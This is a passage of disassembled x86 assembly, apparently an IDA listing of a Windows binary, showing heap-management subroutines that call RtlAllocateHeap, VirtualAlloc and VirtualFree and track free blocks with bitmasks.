		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E6E7
		cmp	ebx, ds:dword_4DF534
		jnz	short loc_41E6E7
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4DF52C
		jnz	short loc_41E6E7
		and	ds:dword_4DF534, 0


loc_41E6E7:				; CODE XREF: sub_41E3EB+2E0j
					; sub_41E3EB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E6EF:				; CODE XREF: sub_41E3EB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E3EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6F4	proc near		; CODE XREF: sub_41E3EB+CCp
		mov	eax, ds:dword_4DF538
		mov	ecx, ds:dword_4DF528
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E737
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_4DF53C
		push	edi
		push	ds:dword_4DF544
		call	ds:dword_42819C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41E787
		add	ds:dword_4DF528, 10h
		mov	ds:dword_4DF53C, eax
		mov	eax, ds:dword_4DF538


loc_41E737:				; CODE XREF: sub_41E6F4+11j
		mov	ecx, ds:dword_4DF53C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_4DF544
		lea	esi, [ecx+eax*4]
		call	ds:dword_428148	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E787
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_4281C8	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E78B
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_4DF544
		call	ds:dword_428144	; RtlFreeHeap


loc_41E787:				; CODE XREF: sub_41E6F4+30j
					; sub_41E6F4+67j
		xor	eax, eax
		jmp	short loc_41E7A2
; ---------------------------------------------------------------------------


loc_41E78B:				; CODE XREF: sub_41E6F4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4DF538
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E7A2:				; CODE XREF: sub_41E6F4+95j
		pop	edi
		pop	esi
		retn
sub_41E6F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7A5	proc near		; CODE XREF: sub_41E3EB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E7B7:				; CODE XREF: sub_41E7A5+19j
		test	eax, eax
		jl	short loc_41E7C0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E7B7
; ---------------------------------------------------------------------------


loc_41E7C0:				; CODE XREF: sub_41E7A5+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E7D5:				; CODE XREF: sub_41E7A5+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E7D5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_4281C8	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41E808
		or	eax, 0FFFFFFFFh
		jmp	loc_41E89B
; ---------------------------------------------------------------------------


loc_41E808:				; CODE XREF: sub_41E7A5+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E84E
		lea	eax, [edi+10h]


loc_41E815:				; CODE XREF: sub_41E7A5+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E815


loc_41E84E:				; CODE XREF: sub_41E7A5+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E88B
		or	[eax+4], edi


loc_41E88B:				; CODE XREF: sub_41E7A5+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E89B:				; CODE XREF: sub_41E7A5+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E7A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8A0	proc near		; CODE XREF: sub_41B3F2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41EA4E
		test	bl, 1
		jnz	loc_41EA47
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41EA47
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E917
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E917:				; CODE XREF: sub_41E8A0+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E967
		cmp	ecx, 20h
		jnb	short loc_41E943
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E967
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E967
; ---------------------------------------------------------------------------


loc_41E943:				; CODE XREF: sub_41E8A0+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E967
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E967:				; CODE XREF: sub_41E8A0+7Dj
					; sub_41E8A0+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41EA35
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E9A1
		push	3Fh
		pop	edi


loc_41E9A1:				; CODE XREF: sub_41E8A0+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41EA23
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E9FA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E9ED
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E9ED:				; CODE XREF: sub_41E8A0+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41EA1F
; ---------------------------------------------------------------------------


loc_41E9FA:				; CODE XREF: sub_41E8A0+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EA10
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41EA10:				; CODE XREF: sub_41E8A0+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41EA1F:				; CODE XREF: sub_41E8A0+158j
		shr	edx, cl
		or	[eax], edx


loc_41EA23:				; CODE XREF: sub_41E8A0+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41EA38
; ---------------------------------------------------------------------------


loc_41EA35:				; CODE XREF: sub_41E8A0+E5j
		mov	edx, [ebp+arg_4]


loc_41EA38:				; CODE XREF: sub_41E8A0+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41EB8E
; ---------------------------------------------------------------------------


loc_41EA47:				; CODE XREF: sub_41E8A0+52j
					; sub_41E8A0+5Cj
		xor	eax, eax
		jmp	loc_41EB91
; ---------------------------------------------------------------------------


loc_41EA4E:				; CODE XREF: sub_41E8A0+49j
		jge	loc_41EB8E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41EA79
		push	3Fh
		pop	esi


loc_41EA79:				; CODE XREF: sub_41E8A0+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41EB08
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EA92
		push	3Fh
		pop	esi


loc_41EA92:				; CODE XREF: sub_41E8A0+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41EAE1
		cmp	esi, 20h
		jnb	short loc_41EABD
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41EADE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EADE
; ---------------------------------------------------------------------------


loc_41EABD:				; CODE XREF: sub_41E8A0+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EADE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EADE:				; CODE XREF: sub_41E8A0+214j
					; sub_41E8A0+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41EAE1:				; CODE XREF: sub_41E8A0+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EB08
		push	3Fh
		pop	esi


loc_41EB08:				; CODE XREF: sub_41E8A0+1DDj
					; sub_41E8A0+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41EB85
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41EB5C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EB4F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41EB4F:				; CODE XREF: sub_41E8A0+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41EB81
; ---------------------------------------------------------------------------


loc_41EB5C:				; CODE XREF: sub_41E8A0+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EB72
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41EB72:				; CODE XREF: sub_41E8A0+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41EB81:				; CODE XREF: sub_41E8A0+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41EB85:				; CODE XREF: sub_41E8A0+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41EB8E:				; CODE XREF: sub_41E8A0+1A2j
					; sub_41E8A0:loc_41EA4Ej
		push	1
		pop	eax


loc_41EB91:				; CODE XREF: sub_41E8A0+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E8A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB96	proc near		; CODE XREF: sub_41DFF2+41p
					; sub_41EE8E:loc_41F05Dp
		cmp	ds:dword_43CF70, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41EBAA
		mov	esi, offset off_43CF60
		jmp	short loc_41EBC7
; ---------------------------------------------------------------------------


loc_41EBAA:				; CODE XREF: sub_41EB96+Bj
		push	2020h
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428148	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41ECD3


loc_41EBC7:				; CODE XREF: sub_41EB96+12j
		mov	ebp, ds:dword_4281C8
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41ECBC
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41ECAE
		mov	eax, offset off_43CF60
		cmp	esi, eax
		jnz	short loc_41EC26
		cmp	ds:off_43CF60, 0
		jnz	short loc_41EC16
		mov	ds:off_43CF60, eax


loc_41EC16:				; CODE XREF: sub_41EB96+79j
		cmp	ds:off_43CF64, 0
		jnz	short loc_41EC3B
		mov	ds:off_43CF64, eax
		jmp	short loc_41EC3B
; ---------------------------------------------------------------------------


loc_41EC26:				; CODE XREF: sub_41EB96+70j
		mov	[esi], eax
		mov	eax, ds:off_43CF64
		mov	[esi+4], eax
		mov	ds:off_43CF64, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EC3B:				; CODE XREF: sub_41EB96+87j
					; sub_41EB96+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EC5D:				; CODE XREF: sub_41EB96+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EC5D
		push	ebx
		push	0
		push	edi
		call	sub_41B780
		add	esp, 0Ch


loc_41EC86:				; CODE XREF: sub_41EB96+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41ECAA
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EC86
; ---------------------------------------------------------------------------


loc_41ECAA:				; CODE XREF: sub_41EB96+F7j
		mov	eax, esi
		jmp	short loc_41ECD5
; ---------------------------------------------------------------------------


loc_41ECAE:				; CODE XREF: sub_41EB96+63j
		push	8000h
		push	0
		push	edi
		call	ds:dword_4281C4	; VirtualFree


loc_41ECBC:				; CODE XREF: sub_41EB96+4Bj
		cmp	esi, offset off_43CF60
		jz	short loc_41ECD3
		push	esi
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428144	; RtlFreeHeap


loc_41ECD3:				; CODE XREF: sub_41EB96+2Bj
					; sub_41EB96+12Cj
		xor	eax, eax


loc_41ECD5:				; CODE XREF: sub_41EB96+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41EB96	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECDA	proc near		; CODE XREF: sub_41ED30+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	ds:dword_4281C4	; VirtualFree
		cmp	ds:off_43EF80, esi
		jnz	short loc_41ECFF
		mov	eax, [esi+4]
		mov	ds:off_43EF80, eax


loc_41ECFF:				; CODE XREF: sub_41ECDA+1Bj
		cmp	esi, offset off_43CF60
		jz	short loc_41ED27
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	ds:dword_4DF544
		call	ds:dword_428144	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41ECDA+2Bj
		or	ds:dword_43CF70, 0FFFFFFFFh
		pop	esi
		retn
sub_41ECDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED30	proc near		; CODE XREF: sub_41EE49+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:off_43CF64
		push	edi


loc_41ED3D:				; CODE XREF: sub_41ED30+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EDDB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41ED56:				; CODE XREF: sub_41ED30+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41ED97
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	ds:dword_4281C4	; VirtualFree
		test	eax, eax
		jz	short loc_41ED97
		or	dword ptr [edi], 0FFFFFFFFh
		dec	ds:dword_4DDF34
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41ED8C
		cmp	eax, edi
		jbe	short loc_41ED8F


loc_41ED8C:				; CODE XREF: sub_41ED30+56j
		mov	[esi+0Ch], edi


loc_41ED8F:				; CODE XREF: sub_41ED30+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EDA4


loc_41ED97:				; CODE XREF: sub_41ED30+2Cj
					; sub_41ED30+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41ED56


loc_41EDA4:				; CODE XREF: sub_41ED30+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EDDB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EDDB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EDBB:				; CODE XREF: sub_41ED30+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EDCC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EDBB


loc_41EDCC:				; CODE XREF: sub_41ED30+8Ej
		cmp	edx, 400h
		jnz	short loc_41EDDB
		push	ecx
		call	sub_41ECDA
		pop	ecx


loc_41EDDB:				; CODE XREF: sub_41ED30+11j
					; sub_41ED30+7Dj ...
		cmp	esi, ds:off_43CF64
		jz	short loc_41EDED
		cmp	[ebp+arg_0], 0
		jg	loc_41ED3D


loc_41EDED:				; CODE XREF: sub_41ED30+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED30	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EDF2	proc near		; CODE XREF: sub_41B2A1+3Ap
					; sub_41B3F2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43CF60
		push	esi
		mov	ecx, edx


loc_41EDFE:				; CODE XREF: sub_41EDF2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EE08
		cmp	eax, [ecx+14h]
		jb	short loc_41EE10


loc_41EE08:				; CODE XREF: sub_41EDF2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EE45
		jmp	short loc_41EDFE
; ---------------------------------------------------------------------------


loc_41EE10:				; CODE XREF: sub_41EDF2+14j
		test	al, 0Fh
		jnz	short loc_41EE45
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EE45
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EE45:				; CODE XREF: sub_41EDF2+1Aj
					; sub_41EDF2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EDF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE49	proc near		; CODE XREF: sub_41B2A1+4Dp
					; sub_41B3F2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EE8D
		inc	ds:dword_4DDF34
		cmp	ds:dword_4DDF34, 20h
		jnz	short locret_41EE8D
		push	10h
		call	sub_41ED30
		pop	ecx

locret_41EE8D:				; CODE XREF: sub_41EE49+2Bj
					; sub_41EE49+3Aj
		retn
sub_41EE49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE8E	proc near		; CODE XREF: sub_41B3F2+1ACp
					; sub_41B703+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:off_43EF80
		push	edi


loc_41EE9C:				; CODE XREF: sub_41EE8E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41EF47
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41EF01


loc_41EEC7:				; CODE XREF: sub_41EE8E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41EEEA
		cmp	[edi+4], ebx
		jbe	short loc_41EEEA
		push	ebx
		push	ecx
		push	eax
		call	sub_41F096
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41EF59
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41EEEA:				; CODE XREF: sub_41EE8E+40j
					; sub_41EE8E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41EEC7
		jmp	short loc_41EF04
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE8E+37j
		mov	ebx, [ebp+arg_0]


loc_41EF04:				; CODE XREF: sub_41EE8E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41EF4A


loc_41EF17:				; CODE XREF: sub_41EE8E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41EF36
		cmp	[edi+4], ebx
		jbe	short loc_41EF36
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F096
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41EF59
		mov	[edi+4], ebx


loc_41EF36:				; CODE XREF: sub_41EE8E+8Dj
					; sub_41EE8E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41EF17
		jmp	short loc_41EF4A
; ---------------------------------------------------------------------------


loc_41EF47:				; CODE XREF: sub_41EE8E+14j
		mov	ebx, [ebp+arg_0]


loc_41EF4A:				; CODE XREF: sub_41EE8E+87j
					; sub_41EE8E+B7j
		mov	esi, [esi]
		cmp	esi, ds:off_43EF80
		jz	short loc_41EF69
		jmp	loc_41EE9C
; ---------------------------------------------------------------------------


loc_41EF59:				; CODE XREF: sub_41EE8E+54j
					; sub_41EE8E+A3j
		mov	ds:off_43EF80, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F091
; ---------------------------------------------------------------------------


loc_41EF69:				; CODE XREF: sub_41EE8E+C4j
		mov	eax, offset off_43CF60
		mov	edi, eax


loc_41EF70:				; CODE XREF: sub_41EE8E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41EF7C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41EF88


loc_41EF7C:				; CODE XREF: sub_41EE8E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F05D
		jmp	short loc_41EF70
; ---------------------------------------------------------------------------


loc_41EF88:				; CODE XREF: sub_41EE8E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41EFB7


loc_41EFA6:				; CODE XREF: sub_41EE8E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41EFB7
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41EFA6


loc_41EFB7:				; CODE XREF: sub_41EE8E+116j
					; sub_41EE8E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	ds:dword_4281C8	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41F08F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B780
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F01E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EFF4:				; CODE XREF: sub_41EE8E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EFF4


loc_41F01E:				; CODE XREF: sub_41EE8E+15Ej
		mov	ds:off_43EF80, edi
